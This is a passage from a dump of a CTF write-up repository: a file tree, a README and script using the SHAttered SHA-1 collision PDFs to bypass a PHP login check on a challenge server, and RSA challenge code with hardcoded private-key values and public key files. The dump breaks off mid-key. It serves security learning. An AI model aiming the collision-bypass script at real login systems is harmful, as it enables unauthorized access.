├── .gitignore
├── BKP2017
├── board.png
├── prudentialv2
│ ├── README.md
│ ├── shattered-1.pdf
│ ├── shattered-2.pdf
│ ├── shattered.png
│ └── shattered.py
├── rsabuffet
│ ├── ciphertext-1.bin
│ ├── ciphertext-2.bin
│ ├── ciphertext-3.bin
│ ├── ciphertext-4.bin
│ ├── ciphertext-5.bin
│ ├── encrypt.py
│ ├── generate-plaintexts.py
│ ├── key-0.pem
│ ├── key-1.pem
│ ├── key-2.pem
│ ├── key-3.pem
│ ├── key-4.pem
│ ├── key-5.pem
│ ├── key-6.pem
│ ├── key-7.pem
│ ├── key-8.pem
│ ├── key-9.pem
│ └── keys
└── sponge
│ ├── SpongeConstruction.svg
│ └── sponge.py
├── CSAWQuals2017
└── realism
│ ├── README.md
│ ├── check_constraints.py
│ ├── main.bin
│ ├── print_constraints.py
│ ├── realism.ida
│ └── solve_constraints.py
├── CSAWQuals2018
└── collusion
│ ├── README.md
│ ├── bobs-key.json
│ ├── carols-key.json
│ ├── common.go
│ ├── exploit.go
│ ├── generate_challenge.go
│ └── message.json
├── NuitDuHack2016
├── toil33t.md
└── trololo.md
├── README.md
├── alexctf2017
└── catalyst
│ ├── 1_opening_hopper.png
│ ├── 2_after_opening.png
│ ├── 3_checking_strings.png
│ ├── 4_cross_references.png
│ ├── 5_find_call.png
│ ├── 6_print_pretty.png
│ ├── 7_ask_for_username.png
│ ├── 8_username_check.png
│ ├── 9_password_check.png
│ ├── README.md
│ ├── catalyst
│ ├── terminal_1.png
│ └── terminal_2.png
├── blazectf2018
└── R2-Dbag
│ ├── res
│ ├── R2-Dbag_to_C3POed.wav
│ ├── aud0.png
│ └── aud1.png
│ └── writeup.ipynb
├── googlectf2017
├── joe
│ └── README.md
├── rsa_ctf_challenge
│ ├── README.md
│ ├── images
│ │ ├── base64.png
│ │ ├── done.png
│ │ ├── initial.png
│ │ └── validation.png
│ └── script.py
└── rubik
│ ├── README.md
│ ├── dump.txt
│ ├── handshake.rs
│ ├── images
│ └── singmaster.jpg
│ └── meet_middle.py
├── plaidctf2016
├── plane_site
│ ├── README.md
│ ├── plane-site_7272c45023fdd282f32e672f6ffa0013.png
│ ├── plane_site.nb
│ └── plane_site_flag.png
├── rabit
│ ├── README.md
│ ├── rabit.py
│ ├── rabit_stew.py
│ └── util.py
├── thestuff
│ ├── README.md
│ ├── flag.jpg
│ ├── flag.zip
│ ├── flag_b64
│ └── the_stuff.pcapng
├── tonnerre
│ ├── .gitignore
│ ├── README.md
│ ├── admin_users.csv
│ ├── public_server_copy.py
│ ├── public_server_ea2e768e20e89fb1aafbbc547cdb4636.py
│ ├── srp_exploit.py
│ └── users.csv
└── untitled
│ ├── README.md
│ └── Untitled-1_1a110935ec70b63ad09fec68c89dfacb.pdf
└── plaidctf2017
├── board.png
├── multicast
├── README.md
├── data.txt
├── exploit.sage
├── exploit.sage.py
└── generate.sage
├── no_mo_flo
└── no_flo
├── pykemon
├── .gitignore
├── README.md
├── __init__.py
├── pykemon.py
├── pykemon1.png
├── pykemon2.png
├── run.py
├── static
│ ├── css
│ │ ├── bootstrap.css
│ │ ├── bootstrap.min.css
│ │ └── scrolling-nav.css
│ ├── fonts
│ │ ├── glyphicons-halflings-regular.eot
│ │ ├── glyphicons-halflings-regular.svg
│ │ ├── glyphicons-halflings-regular.ttf
│ │ ├── glyphicons-halflings-regular.woff
│ │ └── glyphicons-halflings-regular.woff2
│ ├── images
│ │ ├── flag.png
│ │ ├── pydiot.png
│ │ ├── pyduck.png
│ │ ├── pygglipuff.png
│ │ ├── pykaball.png
│ │ ├── pykachu.png
│ │ ├── pyliwag.png
│ │ ├── pyrasect.png
│ │ ├── pyrigon.png
│ │ ├── pyrodactyl.png
│ │ ├── pytata.png
│ │ └── pytwo.png
│ └── js
│ │ ├── bootstrap.js
│ │ ├── bootstrap.min.js
│ │ ├── jquery.easing.min.js
│ │ ├── jquery.js
│ │ └── scrolling-nav.js
└── templates
│ └── index.html
└── zipper
├── AAAAAAAA
├── README.md
├── asdf
├── asdf.zip
├── myzip.zip
├── zip_header.png
├── zipper.zip
└── zipper_xxd
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
--------------------------------------------------------------------------------
/BKP2017/board.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/board.png
--------------------------------------------------------------------------------
/BKP2017/prudentialv2/README.md:
--------------------------------------------------------------------------------
1 | # Catalyst System (150 pts)
2 |
3 | This challenge has a simple PHP login form, the input section of which is shown below:
4 |
5 | ```
6 |
17 | ```
18 |
19 | Viewing the index.txt file above, we see the following validation php code:
20 |
21 | ```
22 | if (isset($_GET['name']) and isset($_GET['password'])) {
23 | $name = (string)$_GET['name'];
24 | $password = (string)$_GET['password'];
25 |
26 | if ($name == $password) {
27 | print 'Your password can not be your name.';
28 | } else if (sha1($name) === sha1($password)) {
29 | die('Flag: '.$flag);
30 | } else {
31 | print '
Invalid password.
';
32 | }
33 | }
34 | ```
35 |
36 | Notice that our name and password are cast as strings, and then the SHA1 hashes of these strings are compared against each other. We thus need to find a way to generate a SHA1 collision.
37 |
38 | Thankfully, the day before this CTF, Google researchers published a novel attack on SHA1 that they dubbed Shattered with a set of example collisions in this [paper](https://shattered.io/static/shattered.pdf).
39 |
40 | The main idea behind this collision is this diagram:
41 | .
42 |
43 | There are two pairs of blocks, M1 and M2.
44 |
45 | CV refers to the internal state of the SHA1 hash, which is a set of five 4-byte variables named A,B,C,D,E. These five variables are updated during the processing of each block. When the final hash is output, it is simply a concatenation of these five variables, giving a 20-byte hash.
46 |
47 | What Google has done is, for a chosen prefix, cause a near-collision with the first pair of blocks (M1), and then cause a full collision with the M2 pair.
48 |
49 | Two colliding PDFs are given on the [Shattered website](https://shattered.io/).
50 |
51 | ## Get the flag
52 | These PDFs are too long to be sent to the login form directly. But, note that the PDFs are identical after the colliding blocks above. Thus, all the bytes after the colliding blocks will not cause the SHA1 hashes to differ, so we can remove most of the PDF in a hex editor.
53 |
54 | We're left with two 320-byte files, [shattered-1](shattered-2.pdf) and [shattered-2](shattered-2.pdf), that collide.
55 |
56 | ```
57 | >>> import hashlib
58 | >>> pdf1 = open("shattered-1.pdf", 'r').read()
59 | >>> pdf2 = open("shattered-2.pdf", 'r').read()
60 | >>> print hashlib.sha1(pdf1).hexdigest()
61 | f92d74e3874587aaf443d1db961d4e26dde13e9c
62 | >>> print hashlib.sha1(pdf2).hexdigest()
63 | f92d74e3874587aaf443d1db961d4e26dde13e9c
64 | ```
65 |
66 | And we can send these files to the server with the Python `requests` library and get the flag!
67 |
--------------------------------------------------------------------------------
/BKP2017/prudentialv2/shattered-1.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/prudentialv2/shattered-1.pdf
--------------------------------------------------------------------------------
/BKP2017/prudentialv2/shattered-2.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/prudentialv2/shattered-2.pdf
--------------------------------------------------------------------------------
/BKP2017/prudentialv2/shattered.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/prudentialv2/shattered.png
--------------------------------------------------------------------------------
/BKP2017/prudentialv2/shattered.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import hashlib
3 |
4 |
5 | pdf1 = open("shattered-1.pdf", 'r').read()
6 | pdf2 = open("shattered-2.pdf", 'r').read()
7 |
8 | print hashlib.sha1(pdf1).hexdigest()
9 | print hashlib.sha1(pdf2).hexdigest()
10 |
11 | #
12 | # print hashlib.sha1(m1).hexdigest()
13 | # print hashlib.sha1(m2).hexdigest()
14 |
15 | # r = requests.get("http://54.202.82.13/?" + "name=" + m1.decode('utf-8') + "&password=" + m2.decode('utf-8'))
16 | r = requests.get("http://54.202.82.13/", params = {'name' : pdf1, 'password': pdf2})
17 | print(r.text)
18 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/ciphertext-1.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/rsabuffet/ciphertext-1.bin
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/ciphertext-2.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/rsabuffet/ciphertext-2.bin
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/ciphertext-3.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/rsabuffet/ciphertext-3.bin
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/ciphertext-4.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/rsabuffet/ciphertext-4.bin
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/ciphertext-5.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/TechSecCTF/writeups/31b4375dba849946a32f35e2f33c71156957cb57/BKP2017/rsabuffet/ciphertext-5.bin
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/encrypt.py:
--------------------------------------------------------------------------------
1 | import random
2 | from Crypto.Cipher import AES,PKCS1_OAEP
3 | from Crypto.PublicKey import RSA
4 |
5 | def get_rand_bytes(length):
6 | return "".join([chr(random.randrange(256)) for i in range(length)])
7 |
8 | def encrypt(public_key, message):
9 | """Encrypt a message with a given public key.
10 |
11 | Takes in a public_key generated by Crypto.PublicKey.RSA, which must be of
12 | size exactly 4096
13 | """
14 | symmetric_key = get_rand_bytes(32)
15 | msg_header = PKCS1_OAEP.new(public_key).encrypt(symmetric_key)
16 | assert len(msg_header) == 512
17 | msg_iv = get_rand_bytes(16)
18 | msg_body = AES.new(symmetric_key,
19 | mode=AES.MODE_CFB,
20 | IV=msg_iv).encrypt(message)
21 | return msg_header + msg_iv + msg_body
22 |
23 | def decrypt(private_key, ciphertext):
24 | """Decrypt a message with a given private key.
25 |
26 | Takes in a private_key generated by Crypto.PublicKey.RSA, which must be of
27 | size exactly 4096
28 |
29 | If the ciphertext is invalid, return None
30 | """
31 | if len(ciphertext) < 512 + 16:
32 | return None
33 | msg_header = ciphertext[:512]
34 | msg_iv = ciphertext[512:512+16]
35 | msg_body = ciphertext[512+16:]
36 | try:
37 | symmetric_key = PKCS1_OAEP.new(private_key).decrypt(msg_header)
38 | except ValueError:
39 | return None
40 | if len(symmetric_key) != 32:
41 | return None
42 | return AES.new(symmetric_key,
43 | mode=AES.MODE_CFB,
44 | IV=msg_iv).decrypt(msg_body)
45 |
46 |
47 | if __name__=="__main__":
48 | # Test!
49 | message = "This is my test message. It's kind of ssilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregsilly.wireheirhgwieruhgwieurghwiregilly.wireheirhgwieruhgwieurghwireg"
50 | f = open('ciphertext-2.bin', 'r')
51 | message = f.read()
52 | n = 549100898763808112064590568096509639806005267015788479836998648112330729762142760306265813195181231930171220686827142359040315653020182064933039077953579528749272321744478656324986362155106653831095037724728643255316641716947998245610175805278242802144980117927688674393383290354985820646326870614197414534217177211618710501438340081867982883181358830449072661742417246835970022211465130756382481343160426921258769780282358703413114522476037306476452786236456339806564839822630841425055758411765631749632457527073092742671445828538125416154242015006557099276782924659662805070769995499831691512789480191593818008294274869515824359702140052678892212293539574359134092465336347101950176544334845468112561615253963771393076343090247719105323352711194948081670662350809687853687199699436636944300210595489981211181100443706510898137733979941302306471697516217631493070094434891637922047009630278889176140288479340611479190580909389486067761958499091506601085734094801729179308537628951345012578144960250844126260353636619225347430788141190654302935255862518781845236444151680147886477815759103864509989480675169631226254252762579781553994364555800120817100328166428687776427164098803076677481602221304265962340500651339469391627432175447
53 | d = 82360526616896807698693573199664438409937065969470070589061697203467920610817023646959077756968989532459091749350432099444980199654188634836861161137356662441445859352927217157270793987104238155332957760232748731947002017400746597944533389986864375329359088386551101208283522331411651732989376273218842814180319110433001694202809406529081151328224220501000292507144740713386831323918799559242796888829373272839049340208231242397384963518461448183826706394044211875954303427851825251639033541902213506905901969121366029468891668656797568632939181423824723939930127468565302483191827000307215869460583072592787394379648492838431373480501883096871724639329379422198017519406310001449118250257352155151242793946860974388275256551958325634162505006352633974367733621639608704430697868358325477517705349062070604806141047285976585695001741441171974331457858532665535006295162620342801636572553939160973573287838150248262669409134863998676177317567799700878113228884526337190956961963516058441888168118633266674943833985047193671213626257221952126625834587189721310168003199270210218744859703599407641156335251120773805978641928778006104069967130056321615203155638339974487535580497188409267435564860804781546983286452847097738671150588113
54 | e = 65537L
55 | p = 2758599203L
56 | q = 199050626189790903113151725251371951406311367304411013359159100762029303668345459282823483508119186508070350039475140948570888009866572148405365532164833126992414461936781273087675274788769905198546175946505790118332257676994622928414648644875376193656132263418075334807302665038501361680530751104620475935886499714767992159620130246904875540624651891646715835632182355428589610236128648209568297096024509697960196858754170641081387466229916585122877955908862176165344465889280850859817985096316883025515924332365977538735425288433292357532172467247159245727072344354499113900733623716569924461327947462469348798798400461045817375922057805611166274339541877392159201774893120311667898551312256530117094221191204981071357303328506659872809131929265966688409379037586014938643190675726674943253875287765020503118408406103824607730713529079962656130622218633922911733000466212212532871890933508287965723844399784165195088175666883742686183165151553009638524764735387233844317375317153437534933611361683136151569588355535831475925641431859231311079029505004457816932257031352498323214304125608733640306746900473758755832661915903475867854937735150255829715879232213599597863424779218670961633567259935246911742292942052832671549L
57 | private_key = RSA.construct((n, e, d, p, q))
58 | plaintext = decrypt(private_key, message)
59 | print(plaintext)
60 | # private_key = RSA.generate(4096)
61 | # public_key = private_key.publickey()
62 | # RSA.construct()
63 | # ciphertext = encrypt(public_key, message)
64 | # assert message == decrypt(private_key, ciphertext)
65 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/generate-plaintexts.py:
--------------------------------------------------------------------------------
1 | # pip install secretsharing
2 | # https://github.com/blockstack/secret-sharing
3 | from secretsharing import PlaintextToHexSecretSharer as SS
4 |
5 | with open('message1.txt', 'r') as f:
6 | PLAINTEXTS = [f.read()] * 5
7 |
8 | for i in range(2, 6):
9 | with open('message' + str(i) + '.txt', 'r') as f:
10 | msg = f.read()
11 | shares = SS.split_secret(msg, i, 5)
12 | for j in range(5):
13 | PLAINTEXTS[j] += shares[j] + '\n'
14 |
15 | for j in range(5):
16 | with open('plaintext-' + str(j+1) + '.txt', 'w') as f:
17 | f.write(PLAINTEXTS[j])
18 |
19 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-0.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA168ysJPW4iS7ljqae8hz
3 | sud8as52Pn1sbdfR0RGChS9oS1A91y52lP3sRmivv2+QxK9GYqvuHDozxQ7FxSqM
4 | CpqvTQ8xYeu07nYioi/x+2e5MCPUlDEwb/wBQBkbEHexFMyohNtMzdjR97sTHvMh
5 | tJBwA1SBYZIdKTpCYxiXCLoHVUUqZqbckWGIsmMBBTb9I56+2o2HembdhMtDH1pi
6 | q5CLZrTmTT5Xv7ozjhOwN3wDA9Y4YHVYZHhaHI9LX7R8b8Tyqf2FMHMjBzPGi3VL
7 | K0gBBwJzMwObsdhJExN+bfpHPpLUskr1fnMKSjT24BpBb5SoNVzPRpVM0m0lA7zq
8 | IJA+zXegHyaEzx18cSS0Xe+r1sK0fybcFCgSyDVzxBKBPwFoBOLBLzHKQz3t1HY0
9 | u+Pkk112KrblnnLqCTL/dfGIB6ixei9ogXY88wKLnhWlEUwGgX+wduBfTUH6Urnb
10 | eVmf9AehhWtOtHOPHO00CkQHBynCpWrXO2EkO2yplqINUFSN/LEddQaJrpNHEzH+
11 | aMIpImh/FsSDCNOtdOjJv/jBdEwGdNIDpWwJnXvujvlNktm07D0ekZegrEkldUX8
12 | CeHtc51qEK3aCC5bGPfqqD54bumthYYHDqZdtPm1q7k5TaMvt01oyNSmTvXEoSzC
13 | nWEiZOc9JZo/1ojFVnVYvqkCAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-1.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxP9IaxTNnDe5VvCP8Zyi
3 | +D26hlCcuEDNalqV8TUgCbGNHVa0oP7A6VopypbK76pd7/cdausK2J7qrZCM7pNY
4 | K9cbLNfa9wmlS5jRY7UI0/0fCpcJ+2nkmdG4q8UK86TLrnfAcERJM2E6RSlU+RrN
5 | r0YdajZANZIFYfeIXTDr3IK+NWDmQohkuXFeFzTQE+I9+4wdpmL1zm2jcSQC+NpE
6 | XQykm5ux5Hq+7vWKY4XKP5650kAItuaOHefC8S/qFPdynCSNjbfZuF5ieatosFF/
7 | c52XRboC+Kq8M4GcMmEWwyc5a1cWxolUla6NPPYKO2oRVXMpOD9tX0FNngXofhPV
8 | 18v4eZTIbxQZqPyWlQDjbYVw++G8E9+L/jiIIJsL1oS5Jlv39OBc9nDY8ojh2CdA
9 | 6YEvmqaKmbXlaUILOMwVOHh+rSU99TNB48JpfOdhUrAu1DfM4ZOG4qE2CL+3sjM2
10 | NW8DLFUPH7xPjuAClMvssD7ORd/F9cEV1zrcmIuilxBMgTUbtzwqwB06z8WoFMSU
11 | e1dYsBkyIhAsFUHzmNLXscLP3VOhcqqJmID1Ootcfmo55uQIFB35muL2vvwAsC4q
12 | xMOvEivlCX8yMcW05ge8oqeMHxBAqjxDUd5LMXLjiCwRbl9YbeM87pyRGHWsGW77
13 | g1XUzd/lR5sZ+kJqJeDqGJECAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-2.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAhphlSMArLWsEYadKCaXu
3 | TvoHiC1cYQvbFNG6METv/VVw5MUJ0RasqZKjQs9S7QRj221GSKMBO6ghnDpysZmH
4 | liU90R7MU2CH5uW9IHwTh6+d9r+HWrMZVW3MC61qkPAXRZdg7n0nT+YEbnWZOF92
5 | B9Ke0jVHdpXjNl/GufUnAYPpxMLBGKpnbB2cvgaGRQfkMQ2FuMrP+fWj7tSHtx0t
6 | dbAJQ9ftqar1srtpJxYl3iRp1qfE9QxO6sVLFgV5PMD3/pFnRS/1/vNkfJ7siGZz
7 | BzLAXcpMVvOTyi5h59dkQoIrnaVtlvZ7up9glfdh0PKj3mLqjG/HrC+ntydoSUf3
8 | ZAcRtwD0CheZ0CZe7+lJUrUOXhCxW+wUzBZkcUxsH/HBZFT0qRLsGXYNgMR1n/MT
9 | DaQ7E+eWfVzqUmQCzytWZlPAzV19CZU1dmHAMIy9EarrgyypCT3DmB0ftrYv2YqI
10 | Po1MFUhSHD4vC+92xyINgJPCvbGuAX8uSNDe/kLOVxOVWuKUvsK12puBz5ux2Mpe
11 | Xcyb+TDtt6P20tNQ0qpHjgEHDbwVHW+fbbpHPsABQy3k4s7UYRlV8pSz1IYx3VHr
12 | fFCpf1Flcx1ZcSnTM19MmUI02JCVM1xwXwdaG6CKD1zzg9Zc1CRSSkikFc4spaNL
13 | Qofk76yyQ+aLnJCjZ5vvJ1cCAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-3.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIIEITANBgkqhkiG9w0BAQEFAAOCBA4AMIIECQKCAgEAmUpeLCMDtAlD2bdEtXCe
3 | 5gH7XErDAM+kSnYIEHp00GrASWOj+CAfp4ATNe3T8yMJBCWSS3T2rDnur/e0pryq
4 | JBUz/V9XUFs4hmjyTY1lMwdFzFFe4bPJYBazmcNe7+8GErr/gnYQiBF7B+JfkmP5
5 | FJgQIzGRZdIJxHhLw3qS7X/stHAxez/eU0PN2aoTeUt0gxiSz26hAC16P3YPG7Pt
6 | +/YnOxU2ESdCTxcSiS4MbMdZs8aQ2oxhhKkL5khrjyXHRVVMCqpEV2RYmlF3A4pn
7 | zXPmb+Gw1Vngu74+W41K7vcv+odMwWEQu8E1w+mSjF/K5zeBX0n7Ajxk7aYq0u19
8 | DTIklhfcUS3FQABsDwWbL9rrOwrhwrlhXbfIO5CeIicZRRc24fB8ORnDll/Z0AO9
9 | iBPsHpzVQPr39w9y/o8PVEssq1GooGKGWuT0agUwt+EaJk1xfzzxO2AY0J3hoMKO
10 | ogzuKmcR2l0RX9ccCW0RXBPwteQNlGlsZxBcL3Ca5dL+CshYR7PJAXrOfbLrANQQ
11 | 2dLadoV3aoCZRy0BeRxXgQ0WCr1snkICdjIOsRuAoLL1ci4g6diCKh0UPJemPvgX
12 | M+UvJj46f3e2kAv5XaIVVE31HmHsxGjwN6KznM8VPZhLMqmkznV7uzh5jOCwgPUD
13 | zho5bUfhTMQb8Y407b2RN+sCggIAOA0B7bbsx15RBW72DeyAeowXNW6mZE7PYsK4
14 | V2P3n6ZfG1TU/yg/uwsLPm+lcYbFK+og4JY2jBlBQc3tdZeLvhTScJ0gFFYB0N1r
15 | fi3w3e1CpRTSmMaBgiibgkGqCa/r5/PQoYemVFuJoGzuUofoJXJk4EvQloPZtLOw
16 | Ty6oZ4LT43nlAU/2FiAseK2bCAG2fu7qrztDBVpvCWyb+xGfG1fHjG5AUKzzyWd/
17 | kyV6K6q5/7wPVi/GTUaNY52wkM22JhASaPvChsXJhFq6+2wG/AYlkEzPMoN/sv1d
18 | Fg34Ngsz/i+lX7Q/1LoLpp3eRPcvngZQmmNuyEVoV1l7mlUwtDtsLxEDjJ/OcdXe
19 | vXtjx/sdr3yEN5CTsfnY9eHUq16W5IfErEzRYpdnpVng/pVpmXXTspafvEjmwFKb
20 | QuRQUaxc6Zi4p3clEtwyxIkCqZbD+9MVlnvmpANVYwiPO77nncMk/Qg7LlKfLRFL
21 | rl5t6lPd4+UYCBpKE+aWtQ7YpRusVlNTqYprhB+teY6XAVBimVakgWsdeWj2XO/n
22 | Gxkgc0Es3WnAwiIZpJxYkeY2ZirjQpypwqOimoklFnSzfAdvZiRLQfsijIJWiWfA
23 | lA5FT0l09o0YY/c5jd1iMfrox/9vg/rzG0cuda4mztWYGRsPYn3CdZ4qmoYKPjsD
24 | yvaKrL8=
25 | -----END PUBLIC KEY-----
26 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-4.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAqd/7zfgI5KUSC4dtS+B3
3 | zvIbbvO7zNrne2r8mI6gaMrVLG59F5cEk5TKrucB6Raz0ZLG/I+KssigvNx1z7HE
4 | NqkUwSgEa4ia618ciYUoVsrReaCVikrrh7p3jqYhh60ZMdW9z4XVc2H9KUGgduqb
5 | NlIRAod1XmY+Z5iStP8FGQQrCzqFqpn2I6EDfVA7JFzzIFw8WyQTmzq/CIH7wbD3
6 | 4DREFJ9pQn/XjNvHW2NKUWDpsqrb/Zz9YVCrCs5y3R2V4diEFTy+ndYkWHRaD+lQ
7 | FOifJjqXMP8iBbEI45hbudqaG2i0rh1SzsKzpTIOAjkunouALRkN5uT3U4jD+v2y
8 | uliQTs6qYTw9Z9ge3jgaDxWigivRpaGFTfOK6n0y5s+MONjWqNrzhL78XuBsm+Gk
9 | siFraQso36rr2dR7PZb93ZYRTcbfmx6yE0MJjvnmVA+6wMGaY82vbkUorkHSEuUN
10 | q3L/RSmwQuwi3Y1hFm0pVIVZ7X3kaTkXgURLruKPPsvteRaacTTaeF1HZTOs4v/j
11 | ruW5UBVJqAYa1Qs1LQFzXftMp9TQv3Wcnby7G6R5OjAjj5Wa0DO1aRkgs+L8eT/h
12 | VO6fbrxdZHRLUYpB4mgD0R8f2m0iOQTCYFS0xoXjZA2g4fTaZEW1V1esfk4YyTgW
13 | jB2MZPMesR5KqgnQyU/KmXMCAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-5.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAiO+DdXDEFh9e99bmXer7
3 | mEDP+uXzN317LE+o7pkob9qG0d13rsmn2XUTKMDQ20SB+KEItNhEJi6h+4vwKqRN
4 | ug+cArrxhrrDfgIxTEgneAOwiMKSEHaxVcSILPTCOXeWlZ7fIq9qL/dpykZo83Du
5 | oQSsAG3z/q1p4bfAC41OoLjpn5BMe2b61M6gMQkbZqITc8DMZNIVHYJ08SjRg6fz
6 | 1peWXxWQ8/JlYln9qb5BdRCUnashY8X0UNZiqJn8qjE0StDezVWPo+n5JHoj/kUc
7 | j4RqytGTYOZnIJCfQFBk9Xa2ySWggdSGX3vIYdURAcM9aVZWsz0WTjiUgjTbHNwP
8 | v4YIr/ZPZ9268+Pq2ILYq2mRbda5Is7GLz1TVnsOZE+ZCt0ksi0wIReNpHNVvfFx
9 | TOFC+Y0D2ve1JdDGrr9C8vXpNSWEulA/F3G/Wy7X93Ajw8guiu/HnTwi0Xez9uPV
10 | 45n1hrQEHLpeTNZuMP6WZt+fxiFvK6HQ/wAvodbxynh6MTCmpcqSn6c3yPzYbHU3
11 | Cbwj9U7d1sH8bRIZMukA9L4kIAMpQyus86qOb8noeiJkV9/iR0X8fJaTkPmS+Znq
12 | SSDPzMTEfAa5rrq6tMkfFNj/heJ1dvCgJ8pwCTwYXACLJ+gkMSFVHkcF/UbDVhSF
13 | q/L7qg/CioeHH+Lj9a+jBScCAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-6.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvA1N2e1ExEwhc6vTsCVA
3 | GzZoFtkT97QnG3Grze0hqw0EwvxXejE7eUJ1hF27iegVHPS9OCXpJAyI65OoJMqo
4 | sLVjlg/8sS+8r82dOPvfh7E0OV0OoxYYa+ryRwpTWh2jUpwAXLkGLw1D64579M15
5 | Qlpsq2WhXJBXE6vO2/SnFcRkZb7Lup7WD9d7+C8DXYo5TFbxOJiDSyd8Z0kmGpyV
6 | siV0wfd4FVA0VYjPL/HSLq6xE3ruTUH24oh1mESk646MvfrqF3bTxF51UcmSQxfQ
7 | 7+NqaGr7OsihKrgJo97uJ9f2nya3C5fNHtUUJuSJ6ASIHcroAvunUcP4O2mDz8tM
8 | MMlmypLnvwiHSyhI4JjwIfGDroOb4wGR47zSzjgyXjmRxuczvwDPP2Cq7yt+vQVU
9 | +wyYCm9i21mXTn885Gr7JOQ+EH7I0cwOdy+Zf/DFpgL6i80Mu/eMwtGoSQOjzACz
10 | l4WMAsKPfAcH5m1twN4s50fZncQDi92STPPFNLzsbc89TwJH4wh185r3qw/aafyh
11 | LXEExRv21mr/LRIzj/v1HiQ63geN5swZMPhyw62R2PgiZo5W01LAFW5RMDPqIMDx
12 | Y9VYtpEZc0aE+Yz3id9y+MU00AilNcna/r6HdBQK3AxT7rAhhS7Cgre93OWMn/uH
13 | p7TyC5G/0E7YTqZWa8OX8dkCAwEAAQ==
14 | -----END PUBLIC KEY-----
15 |
--------------------------------------------------------------------------------
/BKP2017/rsabuffet/key-7.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN PUBLIC KEY-----
2 | MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAt9WozNNio/RpFkHukXbk
3 | 0CUVmtYKQnp+ITQ6zqnvP5b6HXBGClBKnHis+JncX0LsVdAAeDQ7QPnu6vV0C9i+
4 | BH9mzAGtffbWao3UImWm/4fozhaMmhhGUAKo5rpbxPEI1ucLsf8mRkkvnBVK3sVx
5 | FTF4YGwHKZZk0+x+sfEwHwHROzhl22+m0n1hZnxCwW52TgPzEgFxCbGaf57t0Apr
6 | CC81vEOZ921kZBappA58Wid0z4TpwNl48xb8lb85HBsaTmdT3Ewroxry3opIXmVA
7 | j2PTSxcxjBuD1DeWSuBHhCvHPEoCCIi3mIdVx+ZPNej+f4EiF/37h/gVmVgVNDQJ
8 | tba+1oaRgfcuBzf0+YRW8MaghMrhSWDkSgkXFMSUGrSjemV7JBeVtzFabtJMA45+
9 | zOglhoEND7M7UDwqD3I3fbaKAvD9HiAocVXflg09DdM2dfWkeIvOqIa9ZKqphNsp
10 | BFrohsOMYWcbYp3hanQ/b7q7Xm5/t6V3zWYodXxxRpVVubBRf7TtEVJp7XNnswvQ
11 | sXgtGYede/y+MzNtBwpL116GyQ4XFAnmm4Z7/hvhU3lmvmrCBwJFf8BOFQrC878z
